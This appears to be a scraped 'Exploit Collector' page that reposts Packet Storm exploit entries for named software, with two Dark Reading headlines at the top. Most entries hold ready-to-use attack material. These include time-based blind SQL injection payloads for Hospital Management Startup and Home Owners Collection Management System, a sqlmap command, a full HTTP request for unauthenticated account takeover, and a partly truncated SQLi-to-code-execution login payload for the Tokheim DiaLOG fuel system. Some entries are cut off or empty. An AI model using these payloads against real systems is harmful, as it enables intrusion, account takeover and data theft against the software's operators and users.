Dark Reading: Attacks/Breaches
Bot Marketplaces as a Source of Future Data Breaches

Of the four bot marketplaces Cognyte analyzed, the Russian Market is the most dominant, but the others are all active, updated daily, and well-known, too.

Dark Reading: Attacks/Breaches
Data Transparency Hasn't Made Us Safer Yet. Can It Uncover Breach Causality?

Advanced machine learning models within an XDR framework could uncover what actually causes breaches, but first we need better data transparency.

Exploit Collector
WordPress 5.9 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cain And Abel 4.9.56 Unquoted Service Path

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
Cain and Abel version 4.9.56 suffers from an unquoted service path vulnerability.

MD5 | b85616cd8215aaedbc05f11ac0dc320e

Download
# Exploit Title: Cain & Abel 4.9.56 - Unquoted Service Path
# Exploit Author: Aryan Chehreghani
# Date: 2022-02-08
# Software Link: https://www.malavida.com/en/soft/cain-and-abel
# Version: 4.9.56
# Tested on: Windows 10 x64

# PoC

SERVICE_NAME: Abel
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Cain\Abel64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Abel
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Jetpack 9.1 Cross Site Scripting

https://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png
WordPress Jetpack plugin version 9.1 suffers from a cross site scripting vulnerability.

MD5 | 1496cd997b11358dcd3cadff6686e97a

Download
# Exploit Title: WordPress Plugin Jetpack 9.1 - Cross Site Scripting (XSS)
# Date: 2022-02-07
# Author: Milad karimi
# Software Link: https://wordpress.org/plugins/jetpack
# Version: 9.1
# Tested on: Windows 11
# CVE: N/A

1. Description:
This plugin creates a Jetpack from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://localhost/modules/contact-form/grunion-form-view.php?post_id=


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Tokheim Profleet DiaLOG Fuel Management System 11.005.02 SQL Injection / Code Execution

https://2.bp.blogspot.com/-ByzpbsJwjwM/WWlvDah6qTI/AAAAAAAAIKw/aSK5mfOx92wd9uyx7MAye8LQyS91plczwCLcBGAs/s1600/h13.png
Tokheim Profleet DiaLOG Fuel Management System version 11.005.02 suffers from a remote SQL injection vulnerability that can allow for remote code execution.

MD5 | 223db005326f0bf40278c50e39231349

Download
# Exploit Title: Tokheim Profleet DiaLOG Fuel Management System 11.005.02 - SQLi (Unauthenticated)
# Date: 02/9/2022
# Exploit Author: golem445
# Vendor Homepage: https://www.tsg-solutions.com
# Tested on: Kali Linux
# CVE: CVE-2021-34235
# Description: Field__UserLogin parameter is vulnerable to crafted MySQL injection, resulting in remote code execution as root.

==Steps to Reproduce==
# Go to : http://dialog_host/login.php
# Enter escaped MySQL query into the username field and submit, passwords doesn't matter. (Such as: ' /*!50000union*/ select 1,2,3,4,5,6,7,8,’data://text/plain,
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Secure Copy Content Protection And Content Locking 2.8.1 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Hospital Management Startup 1.0 SQL Injection

https://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png
Hospital Management Startup version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | b58e6761039ae3e688db4b3b03140ee3

Download
## Title: Hospital Management Startup v1.0 remote SQL-Injections
## Author: nu11secur1ty
## Date: 02.10.2022
## Vendor: https://github.com/kabirkhyrul
## Software: https://github.com/kabirkhyrul/HMS
## CVE-2022-23366

## Description:
The loginid and password parameters from Hospital Management Startup
1.0 appear to be vulnerable to SQL injection attacks.
The attacker can retrieve all information from the administrator
account of the system and he can use the information for malicious
purposes!
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!

Status: CRITICAL
[+] Payloads:

```mysql
---
Parameter: loginid (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: loginid=hackedpassword=hacked' or '6681'='6681' AND
(SELECT 1959 FROM (SELECT(SLEEP(3)))PuyC) AND
'sDHP'='sDHP&rememberme=on&submit=Login
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-23366)

## Proof and Exploit:
[href](https://streamable.com/hri9eo)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Home Owners Collection Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
Home Owners Collection Management System version 1.0 suffers from a remote blind SQL injection vulnerability.

MD5 | 6d9fb9c4e9468922de619f23b3d13514

Download
# Exploit Title: Home Owners Collection Management System 1.0 - 'id' Blind SQL Injection
# Date: 9/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Vulnerable Code

line 68 in file "/hocms/admin/members/view_member.php"

$collection = $conn->query("SELECT * FROM `collection_list` where member_id = '{$id}' order by date(date_collected) desc");
# Sqlmap command:

sqlmap -u 'http://localhost/hocms/admin/?id=0&page=members/view_member' -p id --level=5 --risk=3 --dbs --random-agent --eta --batch

# Output:

Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=0' AND (SELECT 9980 FROM (SELECT(SLEEP(5)))POvo)-- OyKE&page=members/view_member

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Home Owners Collection Management System 1.0 Account Takeover

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
Home Owners Collection Management System version 1.0 suffers from an unauthenticated account takeover flaw due to missing authorization controls.

MD5 | 4bde3cbe4e4d9d36a42b6adc88bebf88

Download
# Exploit Title: Home Owners Collection Management System 1.0 - Account Takeover (Unauthenticated)
# Date: 9/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
Home Owners Collection Management System is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters

#Steps to Reproduce

1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" ,"type" parameters.

2. Go to http://localhost/hocms/admin/ and Log in to the user account by changed username and password
==============================================

POST /hocms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------8012296389370411172619882391
Content-Length: 899
Origin: http://localhost
Connection: close
Cookie: PHPSESSID=fvle60i4ru4enqa81o3kicskju

-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="id"
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="firstname"

hi
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="lastname"

test
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="username"

saud
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="password"

saud
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="type"

1
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------8012296389370411172619882391--


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress VeronaLabs WP Statistics 13.1.4 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video